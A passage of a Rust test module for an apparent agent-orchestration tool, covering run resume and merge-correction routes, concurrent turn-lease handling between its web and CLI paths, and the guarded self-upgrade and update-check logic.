22893                &format!("/api/runs/{id}/fold-merged"),
22894                Some(r#"{"pr_url":"https://github.com/owner/repo/pull/1"}"#),
22895            )
22896            .await;
22897        assert_eq!(res.status, 409, "{}", res.body);
22898        assert!(
22899            res.json()["error"]
22900                .as_str()
22901                .unwrap()
22902                .contains("live daemon"),
22903            "correcting a run's merge underneath a running agent would race \
22904             whatever it is doing to the same `status`/`merge` fields"
22905        );
22906    }
22907
22908    /// A pull request `gh` cannot even ask about (no such remote, no such
22909    /// repository) must never be recorded as a merge on a guess - the same
22910    /// refusal `land::correct_manual_merge` gives `magi fold --merged` on the
22911    /// command line, reached here through the phone route instead.
22912    #[tokio::test]
22913    async fn fold_merged_refuses_a_pull_request_it_cannot_confirm_is_merged() {
22914        let fx = Fixture::start().await;
22915        let runs = fx.runs();
22916        let id = "20260901-000000-unconfirmed";
22917        write_run(&runs, id, RunStatus::Blocked);
22918
22919        let res = fx
22920            .post(
22921                &format!("/api/runs/{id}/fold-merged"),
22922                Some(r#"{"pr_url":"https://github.com/owner/repo/pull/1"}"#),
22923            )
22924            .await;
22925        assert_eq!(res.status, 400, "{}", res.body);
22926        assert_eq!(
22927            read_run(&runs, id).unwrap().status,
22928            RunStatus::Blocked,
22929            "a pull request that could not be confirmed merged must leave \
22930             the run exactly where it was"
22931        );
22932    }
22933
22934    #[tokio::test]
22935    async fn terminal_runs_cannot_be_resumed() {
22936        let fx = Fixture::start().await;
22937        let runs = fx.runs();
22938
22939        for (status, word) in [
22940            (RunStatus::Merged, "merged"),
22941            (RunStatus::Ready, "ready"),
22942            (RunStatus::Failed, "failed"),
22943        ] {
22944            let id = format!("20260901-000000-{}", &word[..4]);
22945            write_run(&runs, &id, status);
22946            let res = fx.post(&format!("/api/runs/{id}/resume"), None).await;
22947            assert_eq!(res.status, 409, "{word} must not be resumable");
22948        }
22949    }
22950
22951    #[tokio::test]
22952    async fn resume_is_refused_while_the_loop_is_running() {
22953        let fx = Fixture::start().await;
22954        let runs = fx.runs();
22955        let stalled = "20260901-000000-stal";
22956        write_run(&runs, stalled, RunStatus::Stalled);
22957
22958        // The loop is busy with a *different* run, and that is still a
22959        // refusal: a manual resume must never race whatever the loop itself
22960        // is already driving, whether that is one run or several.
22961        let mut beat = crate::daemon::Status::new();
22962        beat.current = vec![crate::daemon::Current {
22963            worker: None,
22964            task: "20260901-000000-task".to_owned(),
22965            run: "20260901-000000-othr".to_owned(),
22966        }];
22967        beat.updated_at = jiff::Timestamp::now();
22968        crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
22969            .expect("publish a heartbeat");
22970
22971        let res = fx.post(&format!("/api/runs/{stalled}/resume"), None).await;
22972        assert_eq!(res.status, 409);
22973        let err = res.json()["error"].as_str().unwrap().to_owned();
22974        assert!(err.contains("othr"), "it names what the loop is on: {err}");
22975        assert!(err.contains("stop it first"), "{err}");
22976    }
22977
22978    #[test]
22979    fn a_run_cannot_be_resumed_twice_at_once() {
22980        let home = TempDir::new().expect("temp home");
22981        let ui = Ui::new(
22982            Queue::at(home.path().join("queue")),
22983            Questions::at(home.path().join("questions")),
22984            Talks::at(home.path().join("talks")),
22985            home.path().join("runs"),
22986            home.path().to_path_buf(),
22987            PathBuf::from("/repo"),
22988        )
22989        .with_worktrees_root(home.path().join("wt"));
22990        let first = ui.begin_resume("20260901-000000-once").expect("claimed");
22991        let again = ui.begin_resume("20260901-000000-once");
22992        assert!(again.is_err(), "a second tap must not start a second graph");
22993        drop(first);
22994        assert!(
22995            ui.begin_resume("20260901-000000-once").is_ok(),
22996            "and the claim is released when the attempt ends"
22997        );
22998    }
22999
23000    #[test]
23001    fn talk_thinking_tracks_only_its_held_turn_claim() {
23002        let home = TempDir::new().expect("temp home");
23003        let ui = Ui::new(
23004            Queue::at(home.path().join("queue")),
23005            Questions::at(home.path().join("questions")),
23006            Talks::at(home.path().join("talks")),
23007            home.path().join("runs"),
23008            home.path().to_path_buf(),
23009            PathBuf::from("/repo"),
23010        )
23011        .with_worktrees_root(home.path().join("wt"));
23012        let id = "20260901-000000-once";
23013
23014        assert!(!ui.is_thinking(id), "an unclaimed talk is not thinking");
23015        let turn = ui.begin_talk_turn(id).expect("claim turn");
23016        assert!(ui.is_thinking(id), "the held guard is reported as thinking");
23017        assert!(
23018            !ui.is_thinking("20260901-000000-other"),
23019            "one talk's turn does not make another talk busy"
23020        );
23021        drop(turn);
23022        assert!(!ui.is_thinking(id), "dropping the guard releases thinking");
23023    }
23024
23025    #[test]
23026    fn an_on_disk_turn_lease_held_elsewhere_refuses_the_web_claim() {
23027        let home = TempDir::new().expect("temp home");
23028        let talks = Talks::at(home.path().join("talks"));
23029        let ui = Ui::new(
23030            Queue::at(home.path().join("queue")),
23031            Questions::at(home.path().join("questions")),
23032            talks.clone(),
23033            home.path().join("runs"),
23034            home.path().to_path_buf(),
23035            PathBuf::from("/repo"),
23036        )
23037        .with_worktrees_root(home.path().join("wt"));
23038        let id = "20260901-000000-cross";
23039
23040        let other = Talks::at(home.path().join("talks"))
23041            .claim_turn(id)
23042            .expect("claim")
23043            .expect("the other process wins");
23044        assert!(ui.is_thinking(id), "a foreign turn reads as thinking");
23045        assert!(ui.begin_talk_turn(id).expect("claim").is_none());
23046        assert!(
23047            matches!(
23048                ui.begin_talk_turn_unless_pending(id).expect("start"),
23049                TalkTurnStart::Foreign
23050            ),
23051            "a foreign holder is refused, not queued behind"
23052        );
23053        assert!(
23054            !ui.talk_turns.lock().unwrap().live.contains(id),
23055            "a refused claim leaves no in-process entry behind"
23056        );
23057        drop(other);
23058        let turn = ui.begin_talk_turn(id).expect("claim").expect("free again");
23059        assert!(talks.turn_held(id), "the web turn holds the lease");
23060        drop(turn);
23061        assert!(
23062            !talks.turn_held(id),
23063            "dropping the guard releases the lease"
23064        );
23065    }
23066
23067    fn consult_question(ui: &Ui) -> Question {
23068        let mut q = Question::new(
23069            "20260901-000000-consult".to_owned(),
23070            "implement".to_owned(),
23071            "impl-A".to_owned(),
23072            "Which backend?".to_owned(),
23073            String::new(),
23074            vec!["SQLite".to_owned(), "Redis".to_owned()],
23075        );
23076        ui.questions.put(&mut q).expect("question");
23077        q
23078    }
23079
23080    fn consult_snapshot(ui: &Ui, q: &Question, id: &str) -> (Vec<u8>, Vec<u8>) {
23081        (
23082            std::fs::read(ui.questions.path_of(&q.id)).expect("question snapshot"),
23083            std::fs::read(ui.talks.path_of(id)).expect("talk snapshot"),
23084        )
23085    }
23086
23087    #[tokio::test]
23088    async fn consult_cli_starter_is_refused_while_web_holds_the_turn() {
23089        let (_tmp, _home, ui, id, _repo) = avatar_fixture("").await;
23090        let q = consult_question(&ui);
23091        let talk = ui.talks.get(&id).expect("talk");
23092        let guard = ui.begin_talk_turn(&id).expect("web claim").expect("free");
23093        let before = consult_snapshot(&ui, &q, &id);
23094        let cli_talks = Talks::at(ui.home.join("talks"));
23095        assert_eq!(
23096            crate::consult::start_turn(&ui.questions, &cli_talks, &q, &talk, &stub_config())
23097                .await
23098                .expect("CLI starter"),
23099            crate::consult::Started::Busy
23100        );
23101        assert_eq!(consult_snapshot(&ui, &q, &id), before);
23102        assert!(ui.is_thinking(&id));
23103        drop(guard);
23104        assert!(cli_talks.claim_turn(&id).expect("claim").is_some());
23105    }
23106
23107    #[tokio::test]
23108    async fn web_starter_is_refused_while_consult_cli_runs_the_turn() {
23109        let (tmp, _home, ui, id, _repo) = avatar_fixture("").await;
23110        let q = consult_question(&ui);
23111        let talk = ui.talks.get(&id).expect("talk");
23112        let started = tmp.path().join("started");
23113        let release = tmp.path().join("release");
23114        let script = tmp.path().join("consult-agent.sh");
23115        std::fs::write(
23116            &script,
23117            "cat >/dev/null\n: > \"$STARTED\"\ni=0\nwhile [ ! -f \"$RELEASE\" ]; do\n  i=$((i + 1))\n  [ \"$i\" -lt 3000 ] || exit 7\n  sleep 0.01\ndone\nprintf ok\n",
23118        )
23119        .expect("script");
23120        let mut cfg = stub_config();
23121        cfg.agents[0].id = "mock".to_owned();
23122        cfg.agents[0].command = vec!["sh".to_owned(), script.to_string_lossy().into_owned()];
23123        cfg.agents[0].env = std::collections::BTreeMap::from([
23124            ("STARTED".to_owned(), started.to_string_lossy().into_owned()),
23125            ("RELEASE".to_owned(), release.to_string_lossy().into_owned()),
23126        ]);
23127        let questions = ui.questions.clone();
23128        let cli_talks = Talks::at(ui.home.join("talks"));
23129        let cli_q = q.clone();
23130        let turn = tokio::spawn(async move {
23131            crate::consult::start_turn(&questions, &cli_talks, &cli_q, &talk, &cfg).await
23132        });
23133        let ready = tokio::time::timeout(Duration::from_secs(30), async {
23134            while !started.exists() {
23135                tokio::time::sleep(Duration::from_millis(10)).await;
23136            }
23137        })
23138        .await;
23139        // Always release and join the agent, even if readiness or the web
23140        // request fails, so a failed assertion cannot leave a turn behind.
23141        let refusal = if ready.is_ok() {
23142            let before = consult_snapshot(&ui, &q, &id);
23143            let result = talk_say(
23144                State(Arc::clone(&ui)),
23145                Path(id.clone()),
23146                Ok(Json(NewTalkTurn {
23147                    reply_to: None,
23148                    text: "another message".to_owned(),
23149                    attachments: Vec::new(),
23150                })),
23151            )
23152            .await;
23153            Some((result, before, consult_snapshot(&ui, &q, &id)))
23154        } else {
23155            None
23156        };
23157        std::fs::write(&release, "").expect("release agent");
23158        let done = turn.await.expect("join CLI turn");
23159        ready.expect("agent started before deadline");
23160        let (result, before, after) = refusal.expect("web request");
23161        let error = result.expect_err("web must refuse the CLI's turn");
23162        assert_eq!(error.status, StatusCode::CONFLICT);
23163        assert!(error.message.contains("a turn is already running"));
23164        assert_eq!(
23165            after, before,
23166            "refusal preserves question, draft and history"
23167        );
23168        assert_eq!(done.expect("CLI turn"), crate::consult::Started::Answered);
23169        let guard = ui
23170            .begin_talk_turn(&id)
23171            .expect("web claim")
23172            .expect("free again");
23173        drop(guard);
23174    }
23175
23176    #[test]
23177    fn a_dropped_guard_releases_the_lease_before_the_in_process_slot() {
23178        let home = TempDir::new().expect("temp home");
23179        let talks = Talks::at(home.path().join("talks"));
23180        let ui = Ui::new(
23181            Queue::at(home.path().join("queue")),
23182            Questions::at(home.path().join("questions")),
23183            talks.clone(),
23184            home.path().join("runs"),
23185            home.path().to_path_buf(),
23186            PathBuf::from("/repo"),
23187        )
23188        .with_worktrees_root(home.path().join("wt"));
23189        let id = "20260901-000000-order";
23190        let turn = ui.begin_talk_turn(id).expect("claim").expect("free");
23191        // Hold the slot mutex so the drop can finish the lease but not the slot.
23192        let slots = ui.talk_turns.lock().unwrap();
23193        let dropper = std::thread::spawn(move || drop(turn));
23194        let start = std::time::Instant::now();
23195        while talks.turn_held(id) && start.elapsed() < Duration::from_secs(5) {
23196            std::thread::sleep(Duration::from_millis(5));
23197        }
23198        assert!(!talks.turn_held(id), "the lease is released first");
23199        assert!(slots.live.contains(id), "the slot is still held meanwhile");
23200        drop(slots);
23201        dropper.join().expect("join");
23202        assert!(!ui.talk_turns.lock().unwrap().live.contains(id));
23203    }
23204
23205    #[tokio::test]
23206    async fn an_upgrade_is_refused_for_a_legacy_scheduler() {
23207        let fx = Fixture::start().await;
23208        let mut beat = crate::daemon::Status::new();
23209        beat.worker_protocol = None;
23210        beat.pid = 4321;
23211        beat.updated_at = jiff::Timestamp::now();
23212        crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
23213            .expect("publish a heartbeat");
23214
23215        let res = fx.post("/api/upgrade", None).await;
23216        assert_eq!(res.status, 409);
23217    }
23218
23219    /// [`should_spawn_recheck`] must refuse for the same two reasons
23220    /// [`Checker::new`](crate::updater::Checker::new) and `upgrade_post`
23221    /// already do: `mode = "off"` and the `MAGI_NO_AUTOUPDATE` kill switch.
23222    /// Purely a predicate over config and the environment - no network, no
23223    /// disk, no runtime - so unlike the fixture-based tests around it this
23224    /// one needs neither.
23225    #[test]
23226    fn recheck_never_spawns_when_checking_is_off_or_killed_by_env() {
23227        assert!(!should_spawn_recheck(&crate::config::Update {
23228            mode: UpdateMode::Off,
23229            interval: None,
23230            auto_restart: false,
23231        }));
23232
23233        // SAFETY: single-threaded as far as this variable goes, the same
23234        // reasoning `updater::tests::env_kill_switch_semantics` relies on.
23235        unsafe {
23236            std::env::set_var(crate::updater::NO_AUTOUPDATE_ENV, "1");
23237        }
23238        let killed = should_spawn_recheck(&crate::config::Update {
23239            mode: UpdateMode::Notify,
23240            interval: None,
23241            auto_restart: false,
23242        });
23243        unsafe {
23244            std::env::remove_var(crate::updater::NO_AUTOUPDATE_ENV);
23245        }
23246        assert!(
23247            !killed,
23248            "MAGI_NO_AUTOUPDATE must stop the periodic recheck, not just the \
23249             one-time startup check"
23250        );
23251
23252        assert!(should_spawn_recheck(&crate::config::Update {
23253            mode: UpdateMode::Notify,
23254            interval: None,
23255            auto_restart: false,
23256        }));
23257    }
23258
23259    /// [`recheck_poll_period`] must track a configured `[update] interval`
23260    /// shorter than its own default ceiling - a fixed sleep here would leave
23261    /// an operator's short interval waiting on the next wake-up instead of on
23262    /// `should_check`, which is the same bug this whole task exists to fix,
23263    /// just one level down.
23264    #[test]
23265    fn recheck_poll_period_tracks_a_short_configured_interval() {
23266        let short = crate::config::Update {
23267            mode: UpdateMode::Notify,
23268            interval: Some("1m".to_owned()),
23269            auto_restart: false,
23270        };
23271        let period = recheck_poll_period(&short);
23272        assert!(
23273            period <= Duration::from_secs(30),
23274            "a one-minute interval must wake the task far sooner than the \
23275             default ceiling, or the deck would not notice within the \
23276             interval the operator configured: got {period:?}"
23277        );
23278
23279        let default = crate::config::Update {
23280            mode: UpdateMode::Notify,
23281            interval: None,
23282            auto_restart: false,
23283        };
23284        assert_eq!(
23285            recheck_poll_period(&default),
23286            UPDATE_RECHECK_POLL_MAX,
23287            "the default day-long interval should poll at the (capped) \
23288             ceiling rather than needlessly often"
23289        );
23290    }
23291
23292    /// [`update_recheck_due`] must not repeat a check made moments ago, the
23293    /// same throttle `updater::Checker::should_check` already gives the
23294    /// CLI's notify mode. Built over an explicit state file via
23295    /// `Checker::for_test`, never `Checker::new`, so this cannot read or
23296    /// write the operator's real `last_update_check.json` - and therefore
23297    /// cannot flake on whatever that file happens to say on the machine
23298    /// running the test.
23299    #[test]
23300    fn recheck_skips_the_network_before_the_interval_elapses() {
23301        let dir = TempDir::new().expect("temp dir");
23302        let path = dir.path().join("state.json");
23303        let state = kaishin::UpdateCheckState {
23304            last_checked_unix: jiff::Timestamp::now().as_second() as u64,
23305            last_known_latest: None,
23306            last_known_url: None,
23307        };
23308        kaishin::save_check_state(&path, &state).expect("seed a just-checked state");
23309
23310        let checker = crate::updater::Checker::for_test(Duration::from_secs(24 * 60 * 60), path);
23311        assert!(
23312            !update_recheck_due(&checker, None),
23313            "a check made moments ago must not be repeated before the \
23314             configured interval elapses"
23315        );
23316    }
23317
23318    /// An upgrade this deck already started must not be raced by a recheck
23319    /// that discovers a newer release mid-install - regardless of what
23320    /// `should_check` says, which is why the state file here is missing
23321    /// entirely: read alone, that alone would answer "never checked, go
23322    /// ahead".
23323    #[test]
23324    fn recheck_defers_to_an_upgrade_already_in_flight() {
23325        let dir = TempDir::new().expect("temp dir");
23326        let path = dir.path().join("state.json");
23327        let checker = crate::updater::Checker::for_test(Duration::from_secs(60 * 60), path);
23328        let progress = crate::updater::Progress::new("0.8.0".to_owned(), "v0.9.0".to_owned());
23329
23330        assert!(
23331            !update_recheck_due(&checker, Some(&progress)),
23332            "a recheck must not run while an upgrade this deck started is \
23333             still moving"
23334        );
23335    }
23336
23337    #[tokio::test]
23338    async fn an_upgrade_is_refused_by_the_no_autoupdate_kill_switch() {
23339        // The same env var the background check honours (`disabled_by_env`)
23340        // must also stop a button press before it ever calls
23341        // `Checker::newer_release` - an operator who set `MAGI_NO_AUTOUPDATE`
23342        // means "never contact GitHub from this process", and a tap on the
23343        // upgrade button must not override that any more than a broken
23344        // `magi.toml` may. Left unset, this fixture's default config would
23345        // otherwise reach a real, unauthenticated GitHub call.
23346        //
23347        // SAFETY: single-threaded as far as this variable goes - nothing else
23348        // in this binary reads `MAGI_NO_AUTOUPDATE` concurrently, the same
23349        // reasoning `updater::tests::env_kill_switch_semantics` relies on.
23350        unsafe {
23351            std::env::set_var(crate::updater::NO_AUTOUPDATE_ENV, "1");
23352        }
23353        let fx = Fixture::start().await;
23354        let res = fx.post("/api/upgrade", None).await;
23355        unsafe {
23356            std::env::remove_var(crate::updater::NO_AUTOUPDATE_ENV);
23357        }
23358        assert_eq!(res.status, 200, "not 202: nothing was set in motion");
23359        let body = res.json();
23360        assert!(body["to"].is_null(), "there was no release to move to");
23361        assert!(body["parked"].is_null(), "and nothing was parked");
23362        assert!(
23363            body["detail"]
23364                .as_str()
23365                .unwrap()
23366                .contains("disabled by MAGI_NO_AUTOUPDATE"),
23367            "{body:?}"
23368        );
23369    }
23370
23371    #[test]
23372    fn auto_upgrade_decision_respects_policy_work_and_failed_tags() {
23373        use AutoUpgradeDecision::{Skip, Trigger, Wait};
23374        let mut cfg = Update::default();
23375        assert!(matches!(
23376            auto_upgrade_decision(&cfg, false, false, false, "v2", None),
23377            Skip(_)
23378        ));
23379        cfg.auto_restart = true;
23380        assert_eq!(
23381            auto_upgrade_decision(&cfg, false, false, false, "v2", None),
23382            Trigger
23383        );
23384        assert_eq!(
23385            auto_upgrade_decision(&cfg, false, false, true, "v2", None),
23386            Wait
23387        );
23388        for (disabled, moving, failed) in [
23389            (true, false, None),
23390            (false, true, None),
23391            (false, false, Some("v2")),
23392        ] {
23393            assert!(matches!(
23394                auto_upgrade_decision(&cfg, disabled, moving, false, "v2", failed),
23395                Skip(_)
23396            ));
23397        }
23398        assert_eq!(
23399            auto_upgrade_decision(&cfg, false, false, false, "v3", Some("v2")),
23400            Trigger
23401        );
23402        cfg.mode = UpdateMode::Off;
23403        assert!(matches!(
23404            auto_upgrade_decision(&cfg, false, false, false, "v2", None),
23405            Skip(_)
23406        ));
23407    }
23408
23409    #[test]
23410    fn auto_upgrade_waits_for_detached_workers_but_not_the_scheduler() {
23411        let home = TempDir::new().unwrap();
23412        let ui = idle_ui(&home);
23413        assert!(!ui.auto_upgrade_busy());
23414        let directory = home.path().join("workers/jobs/abcdef");
23415        std::fs::create_dir_all(&directory).unwrap();
23416        let mut job = crate::worker::Job {
23417            id: "abcdef".into(),
23418            sequence: 1,
23419            kind: "scheduler".into(),
23420            key: "scheduler".into(),
23421            payload: serde_json::json!({}),
23422            generation: "test".into(),
23423            version: None,
23424            status: crate::worker::Status::Running,
23425            result: None,
23426            pid: None,
23427            created_at: 0,
23428            finished_at: None,
23429        };
23430        let lease = crate::worker::execution_lease_for_test(&directory.join("live.lock"));
23431        let write = |job: &crate::worker::Job| {
23432            std::fs::write(directory.join("job.json"), serde_json::to_vec(job).unwrap()).unwrap();
23433        };
23434        write(&job);
23435        assert!(!ui.auto_upgrade_busy(), "an idle scheduler permits updates");
23436        for kind in ["task", "chat"] {
23437            job.kind = kind.into();
23438            write(&job);
23439            assert!(ui.auto_upgrade_busy(), "a detached {kind} defers updates");
23440        }
23441        drop(lease);
23442        // Lease::drop explicitly unlocks even if a concurrent fork inherited
23443        // the descriptor. Check the real decision directly: a raw flock probe
23444        // here could itself be inherited and keep the worker looking busy.
23445        assert!(
23446            !ui.auto_upgrade_busy(),
23447            "completed execution permits updates"
23448        );
23449        std::fs::create_dir_all(home.path().join("workers/jobs/bad")).unwrap();
23450        assert!(
23451            ui.auto_upgrade_busy(),
23452            "unreadable worker state defers updates"
23453        );
23454    }
23455
23456    fn fail_test_upgrade(_: PathBuf) -> Pin<Box<dyn Future<Output = Result<()>> + Send>> {
23457        Box::pin(async { anyhow::bail!("test installer failed") })
23458    }
23459
23460    #[tokio::test]
23461    async fn auto_upgrade_uses_shared_progress_and_failure_cleanup_only_when_idle() {
23462        let home = TempDir::new().unwrap();
23463        std::fs::write(
23464            home.path().join("magi.toml"),
23465            "[update]\nauto_restart = true\n",
23466        )
23467        .unwrap();
23468        let mut ui = idle_ui(&home);
23469        ui.repo = home.path().to_path_buf();
23470        // Every successful trigger in this test uses this seam, never the installer.
23471        ui.upgrade_runner = fail_test_upgrade;
23472        let ui = Arc::new(ui);
23473        let latest = || {
23474            Some(kaishin::LatestRelease {
23475                tag_name: "v999.0.0".into(),
23476                html_url: String::new(),
23477            })
23478        };
23479        ui.talk_turns.lock().unwrap().live.insert("busy".into());
23480        assert_eq!(
23481            begin_upgrade(&ui, updater::UpgradeTrigger::Auto, latest())
23482                .await
23483                .status(),
23484            StatusCode::NO_CONTENT
23485        );
23486        assert!(updater::read_progress(home.path()).is_none());
23487        ui.talk_turns.lock().unwrap().live.clear();
23488        let gate = ui.upgrade_gate.lock().await;
23489        assert_eq!(
23490            begin_upgrade(&ui, updater::UpgradeTrigger::Auto, latest())
23491                .await
23492                .status(),
23493            StatusCode::CONFLICT
23494        );
23495        drop(gate);
23496        assert_eq!(
23497            begin_upgrade(&ui, updater::UpgradeTrigger::Auto, latest())
23498                .await
23499                .status(),
23500            StatusCode::ACCEPTED
23501        );
23502        let progress = updater::read_progress(home.path()).unwrap();
23503        assert_eq!(progress.trigger, updater::UpgradeTrigger::Auto);
23504        assert_eq!(progress.stage, updater::Stage::Downloading);
23505        assert!(progress.parked_run.is_none());
23506        assert!(ui.start_detached_loop().await.is_err());
23507        assert!(ui.start_loop(None).is_err());
23508        assert!(ui.begin_resume("late").is_err());
23509        tokio::time::timeout(Duration::from_secs(2), async {
23510            while ui.upgrade_spawned.load(std::sync::atomic::Ordering::SeqCst) {
23511                tokio::task::yield_now().await;
23512            }
23513        })
23514        .await
23515        .unwrap();
23516        let progress = updater::read_progress(home.path()).unwrap();
23517        assert_eq!(progress.stage, updater::Stage::Failed);
23518        assert_eq!(
23519            begin_upgrade(&ui, updater::UpgradeTrigger::Auto, latest())
23520                .await
23521                .status(),
23522            StatusCode::NO_CONTENT
23523        );
23524        // The manual shared path records the same progress and runs the same seam.
23525        let result = upgrade_checked(&ui, "old".into(), Ok(latest()));
23526        assert_eq!(
23527            finish_upgrade_request(&ui, result).status(),
23528            StatusCode::ACCEPTED
23529        );
23530        assert_eq!(
23531            updater::read_progress(home.path()).unwrap().trigger,
23532            updater::UpgradeTrigger::Manual
23533        );
23534        tokio::time::timeout(Duration::from_secs(2), async {
23535            while ui.upgrade_spawned.load(std::sync::atomic::Ordering::SeqCst) {
23536                tokio::task::yield_now().await;
23537            }
23538        })
23539        .await
23540        .unwrap();
23541    }
23542
23543    fn seeded_progress(stage: crate::updater::Stage) -> crate::updater::Progress {
23544        let mut p = crate::updater::Progress::new("0.1.0".into(), "v0.2.0".into());
23545        p.stage = stage;
23546        p
23547    }
23548
23549    #[test]
23550    fn busy_stages_match_the_ui_set() {
23551        use crate::updater::Stage;
23552        assert!(APP_JS.contains(
23553            "UPGRADE_BUSY_STAGES = new Set([\"downloading\", \"replaced\", \"parking\", \"restarting\"])"
23554        ));
23555        for s in [
23556            Stage::Downloading,
23557            Stage::Replaced,
23558            Stage::Parking,
23559            Stage::Restarting,
23560        ] {
23561            assert!(upgrade_in_motion(Some(&seeded_progress(s))).is_some());
23562        }
23563        for s in [Stage::Done, Stage::Failed] {
23564            assert!(upgrade_in_motion(Some(&seeded_progress(s))).is_none());
23565        }
23566        assert!(upgrade_in_motion(None).is_none());
23567    }
23568
23569    #[tokio::test]
23570    async fn a_second_upgrade_during_a_busy_stage_is_refused_and_changes_nothing() {
23571        use crate::updater::Stage;
23572        for stage in [
23573            Stage::Downloading,
23574            Stage::Replaced,
23575            Stage::Parking,
23576            Stage::Restarting,
23577        ] {
23578            let fx = Fixture::start().await;
23579            let seeded = seeded_progress(stage);
23580            crate::updater::write_progress(fx.home.path(), &seeded).expect("seed");
23581            let before = std::fs::read_to_string(crate::updater::progress_path(fx.home.path()))
23582                .expect("read");
23583
23584            let res = fx.post("/api/upgrade", None).await;
23585            assert_eq!(res.status, 409, "{stage:?}");
23586            let err = res.json()["error"].as_str().unwrap().to_owned();
23587            assert!(err.contains("already in progress"), "{err}");
23588            assert!(err.contains(stage.as_str()), "{err}");
23589
23590            let after = std::fs::read_to_string(crate::updater::progress_path(fx.home.path()))
23591                .expect("read");
23592            assert_eq!(before, after, "{stage:?}: upgrade.json is untouched");
23593            let log = std::fs::read_to_string(crate::updater::log_path(fx.home.path()))
23594                .unwrap_or_default();
23595            assert!(!log.contains("signalling HANDOVER"), "{log}");
23596        }
23597    }
23598
23599    #[test]
23600    fn upgrade_retry_timing_only_parses_known_diagnostics() {
23601        assert_eq!(
23602            upgrade_retry_after("GitHub API rate limit exceeded (resets in 1h 2m 3s). Use a token"),
23603            Some(3723)
23604        );
23605        assert_eq!(
23606            upgrade_retry_after("GitHub secondary rate limit hit (retry after 1m). Slow down"),
23607            Some(60)
23608        );
23609        assert_eq!(
23610            upgrade_retry_after("GitHub API rate limit exceeded (retry now)"),
23611            Some(0)
23612        );
23613        for message in [
23614            "permission denied",
23615            "GitHub API rate limit exceeded",
23616            "GitHub rate limit (resets in unknown)",
23617            "GitHub rate limit (resets in 18446744073709551615d)",
23618        ] {
23619            assert_eq!(upgrade_retry_after(message), None, "{message}");
23620        }
23621    }
23622
23623    #[tokio::test]
23624    async fn upgrade_request_failure_survives_health_without_changing_successful_progress() {
23625        let home = TempDir::new().unwrap();
23626        let ui = Arc::new(idle_ui(&home).with_worktrees_root(home.path().join("wt")));
23627        ui.start_loop(None).unwrap();
23628        updater::write_progress(home.path(), &seeded_progress(updater::Stage::Done)).unwrap();
23629        let before = std::fs::read(updater::progress_path(home.path())).unwrap();
23630        let reason = "GitHub API rate limit exceeded (resets in 2m). Authenticate the request";
23631        let result = upgrade_checked(&ui, "0.1.0".into(), Err(anyhow::anyhow!(reason)));
23632        let response = finish_upgrade_request(&ui, result);
23633        assert_eq!(response.status(), StatusCode::INTERNAL_SERVER_ERROR);
23634        assert_eq!(response.headers()["retry-after"], "120");
23635        let bytes = axum::body::to_bytes(response.into_body(), usize::MAX)
23636            .await
23637            .unwrap();
23638        let body: serde_json::Value = serde_json::from_slice(&bytes).unwrap();
23639        assert!(body["error"].as_str().unwrap().contains(reason));
23640        assert_eq!(body["retry_after_secs"], 120);
23641        assert!(body["retry_at"].as_u64().is_some());
23642        for _ in 0..2 {
23643            let view = health(State(ui.clone())).await.unwrap().0;
23644            let failure = serde_json::to_value(view.upgrade_request_error).unwrap();
23645            assert_eq!(failure, body);
23646        }
23647        assert_eq!(
23648            std::fs::read(updater::progress_path(home.path())).unwrap(),
23649            before
23650        );
23651        assert!(!ui.lock_loop().live.as_ref().unwrap().stop.stopped());
23652        assert!(!ui.upgrade_spawned.load(std::sync::atomic::Ordering::SeqCst));
23653        // A conflicting request must not erase the actionable earlier failure.
23654        let gate = ui.upgrade_gate.lock().await;
23655        assert_eq!(
23656            upgrade_post(State(ui.clone())).await.status(),
23657            StatusCode::CONFLICT
23658        );
23659        drop(gate);
23660        assert!(
23661            health(State(ui.clone()))
23662                .await
23663                .unwrap()
23664                .0
23665                .upgrade_request_error
23666                .is_some()
23667        );
23668        let out = upgrade_checked(&ui, "0.1.0".into(), Ok(None));
23669        assert_eq!(finish_upgrade_request(&ui, out).status(), StatusCode::OK);
23670        assert!(
23671            health(State(ui.clone()))
23672                .await
23673                .unwrap()
23674                .0
23675                .upgrade_request_error
23676                .is_none()
23677        );
23678        let live = ui.lock_loop().live.take().unwrap();
23679        live.stop.stop();
23680        live.handle.await.unwrap();
23681    }
23682
23683    #[tokio::test]
23684    async fn an_upgrade_after_a_finished_or_failed_one_is_allowed() {
23685        use crate::updater::Stage;
23686        let repo = TempDir::new().expect("repo dir");
23687        std::fs::write(repo.path().join("magi.toml"), "[update]\nmode = \"off\"\n")
23688            .expect("write magi.toml");
23689        let fx = Fixture::with_repo(repo.path().to_path_buf()).await;
23690        for stage in [Stage::Done, Stage::Failed] {
23691            crate::updater::write_progress(fx.home.path(), &seeded_progress(stage)).expect("seed");
23692            let res = fx.post("/api/upgrade", None).await;
23693            assert_eq!(res.status, 200, "{stage:?}");
23694        }
23695        // No record at all, and the gate was released by the earlier calls.
23696        let _ = std::fs::remove_file(crate::updater::progress_path(fx.home.path()));
23697        assert_eq!(fx.post("/api/upgrade", None).await.status, 200);
23698    }
23699
23700    #[tokio::test]
23701    async fn an_upgrade_with_nothing_to_install_changes_nothing() {
23702        // `[update] mode = "off"` so `updater::Checker::new` returns `None`
23703        // and the route answers from its own logic.
23704        //
23705        // This test used to lean on the fixture's placeholder repo failing
23706        // config discovery, which left `mode = "notify"` - and a live,
23707        // unauthenticated call to the GitHub releases API inside a unit test.
23708        // GitHub allows 60 of those an hour per address, so the suite went red
23709        // on `macos-latest` and nowhere else, in bursts, and stayed red for as
23710        // long as somebody kept re-running it: every attempt spent another
23711        // request. Six reruns across four pull requests were charged to that
23712        // before it was read as a rate limit rather than a flake.
23713        //
23714        // What the assertion is about is the "already current" branch, which
23715        // is reached by there being no newer release *or* nowhere to look. The
23716        // second one needs no network and cannot be rate limited.
23717        let repo = TempDir::new().expect("repo dir");
23718        std::fs::write(repo.path().join("magi.toml"), "[update]\nmode = \"off\"\n")
23719            .expect("write magi.toml");
23720        let fx = Fixture::with_repo(repo.path().to_path_buf()).await;
23721
23722        // It must answer 200 and leave the process alone: restarting for an
23723        // upgrade that did not happen parks the run in flight and drops every
23724        // connection to pay for nothing. A probe against a deck already on the
23725        // newest build did exactly that, which is how this case got its own
23726        // branch.
23727        let res = fx.post("/api/upgrade", None).await;
23728        assert_eq!(res.status, 200, "not 202: nothing was set in motion");
23729        let body = res.json();
23730        assert!(body["to"].is_null(), "there was no release to move to");
23731        assert!(body["parked"].is_null(), "and nothing was parked");
23732        assert!(
23733            body["detail"]
